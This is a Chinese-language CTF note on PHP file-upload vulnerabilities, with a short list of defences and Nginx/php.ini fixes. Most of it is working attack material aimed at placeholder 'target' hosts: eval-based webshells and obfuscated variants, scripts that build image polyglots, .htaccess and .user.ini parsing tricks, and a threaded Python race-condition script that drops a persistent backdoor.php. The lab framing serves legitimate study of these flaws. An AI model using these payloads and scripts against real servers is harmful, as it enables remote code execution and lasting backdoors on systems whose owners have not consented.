

# 文件上传漏洞（PHP）— CTF 笔记

---

以可复现为核心，涵盖验证绕过、解析漏洞、修补思路。

环境建议：*PHP 5.x/7.x + Apache/Nginx/IIS*，本地搭建 *DVWA / upload-labs*。

---

## 目录

- 一、概述
  - 什么是文件上传漏洞
  - 危害
- 二、防御措施
- 三、前端验证与绕过
  - JS 类绕过
- 四、后端验证与绕过
  - 黑名单绕过
    - 特殊解析后缀
    - .htaccess 解析
    - 大小写绕过
    - 点绕过
    - 空格绕过
    - ::\$DATA 绕过
    - 双后缀名绕过
    - 配合解析漏洞
  - 白名单绕过
    - MIME 绕过
    - %00 截断
    - 0x00 截断
    - 0x0a 截断
  - 内容及其他绕过

- 文件头检测绕过
  - 二次渲染绕过
  - 条件竞争
  - 突破 `getimagesize`
  - 突破 `exif_imagetype`
  - 五、解析漏洞
    - IIS 解析漏洞
      - IIS 6.0 目录解析
      - IIS 6.0 文件解析
      - IIS 6.0 默认解析
      - IIS 7.0/7.5 PHP FastCGI 解析
    - Apache 解析漏洞
      - Apache 后缀名解析
    - Nginx 解析漏洞
      - Nginx PHP CGI 解析
  - 六、Webshell 常用 payload
  - 七、综合靶场复现路线
  - 补充
- 

## 一、概述

### 1.1 什么是文件上传漏洞

文件上传功能是 Web 应用常见功能（头像、附件等）。当服务器未对上传文件类型、内容、路径做充分校验时，攻击者可上传含恶意代码的文件（如 PHP Webshell），并通过访问该文件触发服务器执行，从而获得服务器控制权。

核心条件（缺一不可）：

1. 文件成功上传到服务器（不被拦截）
2. 服务器能够执行该文件（解析为 PHP/ASP 等）
3. 攻击者能访问到该文件的 URL

## 1.2 危害

| 危害等级 | 具体危害                 |
|------|----------------------|
| 高危   | 获取 Webshell，执行任意系统命令 |
| 高危   | 服务器文件读写、删除           |
| 高危   | 内网横向渗透、提权            |
| 中危   | 上传钓鱼页面、挂马            |
| 中危   | 覆盖服务器关键配置文件          |
| 低危   | 存储型 XSS（SVG/HTML 文件） |

## 二、防御措施

理解防御是为了更好地找绕过思路。

1. 白名单校验扩展名（非黑名单）
2. 重命名上传文件（UUID + 固定后缀，如 .jpg）
3. 检测 MIME 类型（但不能单独依赖）
4. 检测文件头魔数（Magic Bytes）
5. 使用 `getimagesize()` / `exif_imagetype()` 严格验证图片
6. 上传目录禁止脚本执行权限（Nginx/Apache 配置）
7. 上传文件存储在 web 根目录之外，通过代理读取
8. 对图片进行二次渲染（`imagecreatefromjpeg` 等）
9. 限制文件大小
10. 使用 CDN 或对象存储（OSS）隔离执行环境

## 三、前端验证与绕过

特点：JavaScript 在浏览器里检查文件后缀

不符合就直接弹窗/阻止上传

服务端实际上可能没做严格限制

## 3.1 JS 类绕过

原理： 前端 JS 校验在浏览器执行，服务器不参与，可完全绕过。

常见校验代码示例：

```
// 典型的前端后缀检测
function checkFile() {
    var file = document.getElementById('upload').value;
    var ext = file.substring(file.lastIndexOf('.') +
1).toLowerCase();
    if (ext !== 'jpg' && ext !== 'png' && ext !== 'gif') {
        alert('只允许上传图片! ');
        return false;
    }
}
```

绕过方法：

方法一：禁用 **JS**（推荐）

Firefox: 地址栏输入 `about:config` → `javascript.enabled` 设为 `false`  
Chrome: 设置 → 隐私和安全 → 网站设置 → JavaScript → 阻止

操作步骤：

1. 禁用 JS 后，直接上传 `shell.php`，表单不会触发校验
2. 上传成功后重新启用 JS

方法二： **Burp Suite** 抓包修改

步骤：

1. 先将文件命名为 `shell.jpg`（通过前端检测）
2. 点击上传，Burp 拦截请求
3. 在 Hex/Raw 中将 `filename="shell.jpg"` 改为 `filename="shell.php"`
4. 放行请求

方法三：删除 **JS** 校验函数

```
F12 → 找到 onsubmit="return checkFile()" → 在控制台执行:  
document.getElementById('upload_form').onsubmit = null;  
或直接在 Elements 中删除 onsubmit 属性
```

方法四：修改 **accept** 属性

```
<!-- 原始 -->  
<input type="file" accept="image/*">  
<!-- 通过开发者工具改为 -->  
<input type="file" accept="*/*">
```

---

## 四、后端验证与绕过

### 4.1 黑名单绕过

原理： 服务器维护一个禁止上传的后缀名列表，检测请求中的文件名后缀。黑名单难以穷举，存在大量绕过方式。

典型黑名单代码：

```
$blacklist = ['php', 'php3', 'php4', 'php5', 'asp', 'aspx', 'jsp'];  
$ext = strtolower(pathinfo($_FILES['file']['name'],  
PATHINFO_EXTENSION));  
if (in_array($ext, $blacklist)) {  
    die('禁止上传!');  
}
```

---

#### 4.1.1 特殊解析后缀

原理： PHP 解析器默认处理多种后缀，黑名单若未完整列出则可绕过。

**PHP** 可解析的后缀（依 **Apache**/服务器配置）：

```
.php .php3 .php4 .php5 .php7 .phtml .pht .phps .shtml
```

复现步骤：

1. 将 `webshell` 命名为 `shell.php5` 或 `shell.phtml`
2. 上传文件
3. 访问 `http://target/uploads/shell.php5?cmd=id`

验证服务器支持哪些后缀（本地测试）：

```
# 创建测试文件
echo '<?php phpinfo(); ?>' > test.phtml
# 放入 Apache 网站目录后访问，若显示 phpinfo 则生效
```

---

#### 4.1.2 .htaccess 解析

原理：Apache 的 `.htaccess` 文件可覆盖目录解析规则，若服务器允许上传并启用 `AllowOverride All`，则可自定义将任意后缀解析为 PHP。

前提条件：

- Apache 服务器
- `AllowOverride All` 或 `AllowOverride FileInfo` 已启用
- 上传目录允许 `.htaccess`

步骤一：上传 `.htaccess` 文件

```
# .htaccess 内容
AddType application/x-httpd-php .jpg
# 或
<FilesMatch "\.jpg$">
    SetHandler application/x-httpd-php
</FilesMatch>
```

步骤二：上传 **Webshell**（改为 `.jpg` 后缀）

```
# shell.jpg 内容
<?php @eval($_POST['cmd']); ?>
```

步骤三：访问并执行

```
curl -X POST "http://target/uploads/shell.jpg" -d "cmd=phpinfo();"
# 或用菜刀/蚁剑连接
```

---

### 4.1.3 大小写绕过

原理：黑名单使用 `strtolower()` 时有效，若校验未统一转小写则可绕过。

```
shell.PHP  shell.Php  shell.php  shell.PHP
```

复现步骤：

1. Burp 拦截上传请求
2. 将 `filename="shell.php"` 改为 `filename="shell.PHP"`
3. 放行，访问 `http://target/uploads/shell.PHP`

---

### 4.1.4 点绕过

原理：Windows 系统会自动去除文件名末尾的点，`shell.php.` 在服务器保存后变为 `shell.php`，但校验时检测的是 `shell.php.`（后缀为空）。

适用环境：Windows 服务器

复现步骤：

```
Burp 中修改: filename="shell.php."
服务器保存文件名: shell.php (windows 自动去除末尾的点)
访问: http://target/uploads/shell.php
```

### 4.1.5 空格绕过

原理：与点绕过类似，Windows 自动去除文件名末尾空格，但服务器 PHP 检测 `$ext` 为空字符串，不在黑名单中。

适用环境：Windows 服务器

复现步骤：

```
Burp 中修改: filename="shell.php " （php后加空格）  
windows 保存: shell.php  
访问: http://target/uploads/shell.php
```

点空格点 组合绕过 适用于只过滤一遍

---

### 4.1.6::\$DATA 绕过

原理：Windows NTFS 文件系统支持数据流（Alternate Data Stream，ADS）。  
`shell.php::$DATA` 在 Windows 下等价于 `shell.php` 的主数据流，PHP 写入文件时 `::$DATA` 被去除。

适用环境：Windows + PHP（IIS/Apache on Windows）

复现步骤：

```
Burp 中修改: filename="shell.php::$DATA"  
服务器实际保存为: shell.php  
访问: http://target/uploads/shell.php
```

验证（本地 Windows 命令行）：

```
echo ^<?php phpinfo(); ?^> > shell.php::$DATA  
type shell.php # 可正常读取内容
```

---

### 4.1.7 双后缀名绕过

原理：`pathinfo()` 只取最后一个点后的内容，但部分自定义代码用 `explode('.',...)` 取第一个或中间的后缀；或 Apache 的旧版解析规则。

方式一：针对自定义解析代码

```
// 存在漏洞的代码
$parts = explode('.', $filename);
$ext = $parts[1]; // 只取第二段，忽略最后一段
上传: shell.jpg.php
$parts[1] = 'jpg' → 通过白名单
实际执行后缀: .php
```

方式二：Apache 多后缀解析（见解析漏洞章节）

```
shell.php.jpg → Apache 从右向左找可识别后缀，.jpg 不认识，.php 认识 → 按
PHP 执行
```

---

### 4.1.8 配合解析漏洞

详见 [五、解析漏洞](#) 章节，结合具体 Web 服务器版本使用。

---

## 4.2 白名单绕过

原理：白名单只允许特定后缀，理论上比黑名单安全，但实现逻辑存在缺陷时仍可绕过。

典型白名单代码：

```
$whitelist = ['jpg', 'jpeg', 'png', 'gif'];
$ext = strtolower(pathinfo($_FILES['file']['name'],
PATHINFO_EXTENSION));
if (!in_array($ext, $whitelist)) {
    die('只允许图片! ');
}
$save_path = '/uploads/' . $_GET['path'] . $ext; // 漏洞: path 参数可
控
```

---

### 4.2.1 MIME 绕过

原理： 服务器检测 `Content-Type` 请求头，而该值由客户端发送，可任意伪造。

正常上传 **PHP** 文件时的 **Content-Type**:

```
Content-Type: application/octet-stream
或
Content-Type: text/plain
```

绕过步骤（**Burp**）：

```
POST /upload.php HTTP/1.1
...
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg      ← 修改为合法图片 MIME 类型

<?php @eval($_POST['cmd']); ?>
```

常见合法 **MIME** 类型：

```
image/jpeg
image/png
image/gif
image/webp
```

---

### 4.2.2 %00 截断

原理：URL 解码后 %00 为 \0（空字节），PHP 的 C 底层字符串函数遇到 \0 会截断。适用于服务器将路径拼接到 GET/POST 参数时。

前提条件：

- PHP 版本 < 5.3.4（magic\_quotes\_gpc = Off）
- 保存路径由参数控制

漏洞场景：

```
// 存在漏洞的代码
$save_path = $_GET['path'] . $ext; // 如 path=/uploads/shell.php%00
move_uploaded_file($tmpfile, $save_path);
// 实际保存: /uploads/shell.php (\0 后被截断)
```

复现步骤：

```
URL: http://target/upload.php?path=/uploads/shell.php%00
上传文件: shell.jpg (内容为 PHP 代码)
结果: 保存为 /uploads/shell.php
访问: http://target/uploads/shell.php
```

---

### 4.2.3 0x00 截断

原理：与 %00 截断相同，区别在于截断字节在 POST body（二进制）中传输，而非 URL 编码。

**Burp** 操作步骤：

1. 拦截上传请求
2. 切换到 Hex 视图
3. 找到 filename 值，如 shell.phpjpg
4. 在 .php 后、.jpg 前插入 00 字节（hex: 00）  
→ filename="shell.php\x00jpg"
5. 服务器 C 函数读取到 \0 截断，实际文件名为 shell.php

**Burp Hex** 操作示例：

```
原始 hex: ... 73 68 65 6c 6c 2e 70 68 70 6a 70 67 ...
           s h e l l . p h p j p g
修改后:   ... 73 68 65 6c 6c 2e 70 68 70 00 6a 70 67 ...
           s h e l l . p h p \0 j p g
```

**4.2.4 0x0a 截断**

原理： 部分代码用换行符（`\n`，`0x0a`）处理文件名时发生截断，较少见，原理同上。

```
filename="shell.php\n.jpg"
部分解析器只读取第一行 → shell.php
```

**4.3 内容及其他绕过**

**4.3.1 文件头检测绕过**

原理： 服务器读取文件前几个字节（**Magic Bytes/文件头**）判断真实类型，只需在 **Webshell** 前添加合法文件头即可绕过。

常见文件头（**Magic Bytes**）：

| 文件类型 | 十六进制头                   | ASCII    |
|------|-------------------------|----------|
| JPEG | FF D8 FF                | ÿØÿ      |
| PNG  | 89 50 4E 47 0D 0A 1A 0A | .PNG.... |
| GIF  | 47 49 46 38 39 61       | GIF89a   |
| PDF  | 25 50 44 46             | %PDF     |

方法一： 文本添加文件头

```
GIF89a
<?php @eval($_POST['cmd']); ?>
```

保存为 `shell.php`，上传后仍以 PHP 执行。若校验只读取头部几字节，则绕过文件头检测。

方法二：二进制方式（Burp/Python）

```
# 用 Python 生成带 JPEG 头的 PHP Shell
payload = b'\xff\xd8\xff\xe0' + b'<?php @eval($_POST["cmd"]); ?>'
with open('shell.jpg', 'wb') as f:
    f.write(payload)
```

方法三：exiftool 注入（图片注释写入代码）

```
# 安装 exiftool
apt install libimage-exiftool-perl

# 将 PHP 代码写入图片 Comment 字段
exiftool -Comment='<?php @eval($_POST["cmd"]); ?>' legitimate.jpg -o shell.jpg

# 验证
exiftool shell.jpg | grep Comment
```

---

### 4.3.2 二次渲染绕过

原理：服务器用 `imagecreatefromjpeg()` 等函数对图片重新生成，会清除注释/EXIF 等附加数据，普通的图片马注入会被清除。需要将代码嵌入图片不被重新渲染处理的特定区块（如 JPEG 量化表区域）。

工具：bypass\_DisImage（专用脚本）

```
# 思路：将合法图片正常上传，下载服务器返回的渲染后图片，  
# 再将 PHP 代码嵌入渲染后图片的"稳定区域"（不被覆盖的字节位置）
```

```
# 步骤
```

1. 上传 `legitimate.jpg` → 下载服务器渲染后的版本（二次渲染结果）
2. 用十六进制编辑器对比两张图片，找到未变化的区域
3. 在该区域插入 `PHP` 代码（确保该字节段不被 `GD` 库覆盖）
4. 若配合文件包含漏洞（`LFI`）使用，可直接执行

```
# GIF 更容易绕过（GD 对 GIF 改动最小）：
```

```
# 将代码写在 GIF 图片的扩展块，通常不被 GD 重绘
```

**GIF 图片马快速制作（最稳定）：**

```
# 方法：找到渲染前后都存在的相同字节区域  
# 用 Python 在 GIF 文件的注释扩展块写入 PHP  
  
python3 -c "  
data = open('original.gif','rb').read()  
php = b'<?php @eval($_POST["cmd"]);?>'  
# 在 GIF 扩展块插入  
patched = data[:6] + php + data[6:]  
open('shell.gif','wb').write(patched)  
"
```

注意：二次渲染绕过通常需要配合文件包含漏洞（`LFI`）触发 `PHP` 执行，因为渲染后文件名一般强制为图片后缀。

### 4.3.3 条件竞争

原理：服务器先保存文件，再校验是否合法，若不合法则删除。攻击者在删除前的极短时间内访问该文件触发执行（`Race Condition`）。

漏洞代码特征：

```

move_uploaded_file($tmp, $filepath);          // 先保存
$ext = pathinfo($filepath, PATHINFO_EXTENSION);
if (!in_array($ext, $whitelist)) {
    unlink($filepath);                        // 再删除
    die('非法文件! ');
}

```

攻击步骤:

1. 上传包含 "创建新 **webshell**" 逻辑的 PHP 文件 (**shell.php**)
2. 同时高频访问该路径, 抢在删除前触发执行

上传的 **shell.php** 内容 (自写落地木马):

```

<?php
// 执行后在同目录创建永久 webshell
file_put_contents('backdoor.php', '<?php @eval($_POST["cmd"]); ?
>');
?>

```

工具一: **Burp Intruder** (简单版)

1. 拦截上传 **shell.php** 的请求, 发送到 **Intruder**
2. 设置 **Payload** 为 **Null payloads**, 持续发送 (如 5000 次)
3. 同时另开 **Intruder** 持续 **GET** 请求 **/uploads/shell.php**
4. 其中一次请求命中时, **backdoor.php** 即被创建

工具二: **Python** 脚本 (推荐)

```

import threading
import requests

url_upload = 'http://target/upload.php'
url_shell = 'http://target/uploads/shell.php'

shell_php = '<?php file_put_contents("backdoor.php", "<?php
@eval(\\$_POST[\'c\']); ?>"); ?>'

```

```

files = {'file': ('shell.php', shell_php, 'image/jpeg')}

def upload():
    while True:
        try:
            requests.post(url_upload, files=files)
        except:
            pass

def trigger():
    while True:
        try:
            r = requests.get(url_shell, timeout=0.5)
            if r.status_code == 200:
                print('[+] 竞争成功, 尝试访问 backdoor.php')
        except:
            pass

t1 = threading.Thread(target=upload)
t2 = threading.Thread(target=trigger)
t1.start()
t2.start()
t1.join()
t2.join()

```

#### 4.3.4 突破 getimagesize

原理： `getimagesize()` 检测图片的宽高信息，返回 `False` 表示不是有效图片。仍可构造合法图片头欺骗它。

漏洞代码：

```

$info = getimagesize($_FILES['file']['tmp_name']);
if ($info === false) {
    die('不是图片! ');
}

```

绕过方法： 制作真实可解析的图片马

# 方法一：合并合法图片与 PHP 代码

```
cat legitimate.jpg shell.php > shell.jpg
```

# `getimagesize` 读取 JPEG 头成功（返回宽高），整个文件被保存

# 方法二：Python 构造最小合法 JPEG

```
python3 << 'EOF'
```

```
import struct
```

# 最小 JPEG 文件头（1x1 像素）

```
jpeg_header = bytes([
```

```
    0xFF,0xD8,0xFF,0xE0,0x00,0x10,0x4A,0x46,0x49,0x46,0x00,0x01,
    0x01,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0xFF,0xDB,0x00,0x43,
    0x00,0x08,0x06,0x06,0x07,0x06,0x05,0x08,0x07,0x07,0x07,0x09,
    0x09,0x08,0x0A,0x0C,0x14,0x0D,0x0C,0x0B,0x0B,0x0C,0x19,0x12,
    0x13,0x0F,0x14,0x1D,0x1A,0x1F,0x1E,0x1D,0x1A,0x1C,0x1C,0x20,
    0x24,0x2E,0x27,0x20,0x22,0x2C,0x23,0x1C,0x1C,0x28,0x37,0x29,
    0x2C,0x30,0x31,0x34,0x34,0x34,0x1F,0x27,0x39,0x3D,0x38,0x32,
    0x3C,0x2E,0x33,0x34,0x32,0xFF,0xC0,0x00,0x0B,0x08,0x00,0x01,
    0x00,0x01,0x01,0x01,0x11,0x00,0xFF,0xC4,0x00,0x1F,0x00,0x00,
    0x01,0x05,0x01,0x01,0x01,0x01,0x01,0x01,0x00,0x00,0x00,0x00,
    0x00,0x00,0x00,0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,
    0x09,0x0A,0x0B,0xFF,0xDA,0x00,0x08,0x01,0x01,0x00,0x00,0x3F,
    0x00,0xFB,0xD2,0x8A,0x28,0x03,0xFF,0xD9
```

```
])
```

```
php_code = b'\n<?php @eval($_POST["cmd"]); ?>'
```

```
with open('shell.jpg', 'wb') as f:
```

```
    f.write(jpeg_header + php_code)
```

```
print('生成 shell.jpg 完成')
```

```
EOF
```

### 4.3.5 突破 exif\_imagetype

原理：`exif_imagetype()` 读取文件头的前几个字节判断图片类型，只需在文件最前面加上对应图片的 Magic Bytes 即可绕过。

漏洞代码：

```
if (exif_imagetype($_FILES['file']['tmp_name']) === false) {  
    die('不是有效图片格式! ');  
}
```

各格式 Magic Bytes 对照：

```
IMAGETYPE_GIF  = GIF89a  (47 49 46 38 39 61)  
IMAGETYPE_JPEG = ÿøÿ    (FF D8 FF)  
IMAGETYPE_PNG  = .PNG    (89 50 4E 47)
```

绕过步骤：

```
# 方法一：文本前置（GIF 最简单）  
printf 'GIF89a<?php @eval($_POST["cmd"]); ?>' > shell.php  
# exif_imagetype 读取前6字节 = GIF89a → 返回 IMAGETYPE_GIF  
  
# 方法二：Python 精确构造  
python3 -c "  
with open('shell.php','wb') as f:  
    f.write(b'GIF89a' + b'<?php @eval($_POST[\"cmd\"]); ?>')  
"
```

---

## 五、解析漏洞

解析漏洞的核心：服务器错误地将非脚本文件按脚本解析执行。

## 5.1 IIS 解析漏洞

### 5.1.1 IIS 6.0 目录解析

影响版本： IIS 6.0（Windows Server 2003）

原理： IIS 6.0 中，若目录名包含 `.asp`，该目录下所有文件（无论后缀）均被 IIS 当作 ASP 脚本解析执行。

复现步骤：

1. 创建目录： `/uploads/shell.asp/`
2. 在该目录上传任意文件： `/uploads/shell.asp/1.jpg`
3. 访问： `http://target/uploads/shell.asp/1.jpg`
4. `1.jpg` 的内容被当作 ASP 解析执行

利用（上传图片马）：

```
<!-- 1.jpg 内容（实为 ASP 代码） -->
<%eval request("cmd")%>
```

---

### 5.1.2 IIS 6.0 文件解析

影响版本： IIS 6.0

原理： 文件名中包含 `;` 时，IIS 只识别 `;` 之前的部分判断文件类型。 `shell.asp;.jpg` → IIS 识别后缀为 `.asp`，按 ASP 执行。

复现步骤：

```
上传文件： shell.asp;.jpg
访问： http://target/uploads/shell.asp;.jpg
文件内容按 ASP 执行
```

---

### 5.1.3 IIS 6.0 默认解析

原理： IIS 6.0 默认将 `.cer`、`.cdx`、`.asa` 等后缀按 ASP 执行。

```
.cer → 按 ASP 解析  
.cdx → 按 ASP 解析  
.asa → 按 ASP 解析
```

复现步骤：

```
上传： shell.cer（内容为 ASP 代码）  
访问： http://target/uploads/shell.cer
```

---

### 5.1.4 IIS 7.0/7.5 PHP FastCGI 解析

影响版本： IIS 7.0/7.5（配置 PHP FastCGI 时）

原理： 与 Nginx 的 PHP-CGI 解析漏洞类似（`cgi.fix_pathinfo=1`）。在文件路径后追加 `/.php`，FastCGI 将整个路径按 PHP 脚本处理。

复现步骤：

1. 上传合法图片： `shell.jpg`（含 PHP 代码）
2. 访问： `http://target/uploads/shell.jpg/.php`
3. FastCGI 将 `shell.jpg` 按 PHP 解析

---

## 5.2 Apache 解析漏洞

### 5.2.1 Apache 后缀名解析

影响版本： Apache 1.x / 2.x（老版本，`mod_mime` 配置问题）

原理：Apache 从右向左识别文件后缀，若最右后缀不可识别，则继续向左识别，直到找到可识别的后缀。

示例：

```
shell.php.xxx → .xxx 不识别 → 继续看 .php → 按 PHP 解析
shell.php.rar → .rar 不识别 → 继续看 .php → 按 PHP 解析
shell.php.jpg → .jpg 可识别（图片）→ 按图片处理（此情况不触发）
```

复现步骤：

1. 将 webshell 命名为 shell.php.xxx（xxx 为 Apache 未配置的后缀）
2. 上传
3. 访问 `http://target/uploads/shell.php.xxx`
4. Apache 解析为 PHP 执行

查看 Apache 支持的 MIME 类型（`conf/mime.types`）：

```
grep -v '#' /etc/apache2/mime.types | grep -v '^$'
# 选一个 mime.types 中不存在的后缀用于构造文件名
```

---

## 5.3 Nginx 解析漏洞

### 5.3.1 Nginx PHP CGI 解析

影响版本：Nginx + PHP-FPM（`php.ini` 中 `cgi.fix_pathinfo=1`，Nginx < 0.8.3）

原理：`cgi.fix_pathinfo=1` 时，PHP-FPM 在处理路径时，若最后一段路径不是文件，会向前回溯找到真实文件执行。访问 `/uploads/shell.jpg/1.php`，PHP-FPM 发现 `1.php` 不存在，回溯到 `shell.jpg` 并按 PHP 执行。

前提条件：

1. php.ini: `cgi.fix_pathinfo = 1` (默认开启)
2. Nginx 配置将 `.php` 结尾的请求转发给 PHP-FPM
3. 上传目录无限制脚本执行

**Nginx** 典型漏洞配置:

```
location ~ /\.php$ {  
    fastcgi_pass 127.0.0.1:9000;  
    fastcgi_param SCRIPT_FILENAME  
$document_root$fastcgi_script_name;  
    include fastcgi_params;  
}
```

复现步骤:

1. 上传图片马: `shell.jpg` (含 PHP 代码)  
路径: `/var/www/html/uploads/shell.jpg`
2. 访问: `http://target/uploads/shell.jpg/1.php`  
Nginx 匹配 `\.php$` → 转发给 PHP-FPM  
PHP-FPM 处理路径: `shell.jpg/1.php`  
`1.php` 不存在 → 回溯到 `shell.jpg` → 执行
3. 执行成功: 返回 PHP 代码执行结果

修复方法:

```
# Nginx 端修复: 校验文件是否真实存在  
location ~ /\.php$ {  
    try_files $uri =404;    # 文件不存在则返回 404, 不转发给 PHP-FPM  
    fastcgi_pass 127.0.0.1:9000;  
    ...  
}  
; php.ini 修复  
cgi.fix_pathinfo = 0
```

## 六、Webshell 常用 payload

```
# 一句话木马（标准）
<?php @eval($_POST['cmd']); ?>

# 等价变形（bypass 过滤）
<?php assert($_POST['cmd']); ?>
<?php system($_POST['cmd']); ?>
<?php passthru($_POST['cmd']); ?>
<?php `$_POST['cmd']`; ?>           // 反引号执行

# 编码混淆
<?php eval(base64_decode('cGhwaw5mbygpOw==')); ?>
# base64_decode('cGhwaw5mbygpOw==') = phpinfo();

# 变量函数绕过
<?php $f='assert'; $f($_POST['cmd']); ?>

# 短标签（需 short_open_tag=On）
<? @eval($_POST['cmd']); ?>

# 图片马（GIF 头）
GIF89a<?php @eval($_POST['cmd']); ?>
```

---

## 七、综合靶场复现路线

推荐靶场：**upload-labs**（专项）

```
# Docker 快速搭建
docker pull c0ny1/upload-labs
docker run -d -p 80:80 c0ny1/upload-labs

# 访问
http://localhost/
```

**Pass** 对应关系速查：

| PASS    | 考察点                   |
|---------|-----------------------|
| Pass-01 | JS 绕过                 |
| Pass-02 | MIME 类型绕过             |
| Pass-03 | 黑名单特殊后缀（phtml/php5）   |
| Pass-04 | .htaccess             |
| Pass-05 | 大小写绕过                 |
| Pass-06 | 空格绕过                  |
| Pass-07 | 点绕过                   |
| Pass-08 | ::\$DATA              |
| Pass-09 | 点+空格+点组合              |
| Pass-10 | 双后缀名                  |
| Pass-11 | %00 截断（GET）           |
| Pass-12 | 0x00 截断（POST）         |
| Pass-13 | 文件头检测                 |
| Pass-14 | getimagesize          |
| Pass-15 | exif_imagetype        |
| Pass-16 | 二次渲染                  |
| Pass-17 | 条件竞争                  |
| Pass-18 | 条件竞争（含重命名）            |
| Pass-19 | move_uploaded_file 截断 |
| Pass-20 | 数组绕过 pathinfo         |

补充：

.user.ini 绕过 覆盖php.ini

前提：

- 大于5.3.0 最好为7.x版本
- serverAPI为CGI/FastCGI
- .user.ini可生效并且该上传目录有php文件（最后访问的地方）

步骤：1.上传.user.ini

```
auto_prepend_file=shell.jpg
```

2.上传shell.jpg 一句话木马

3.访问index.php（最常见）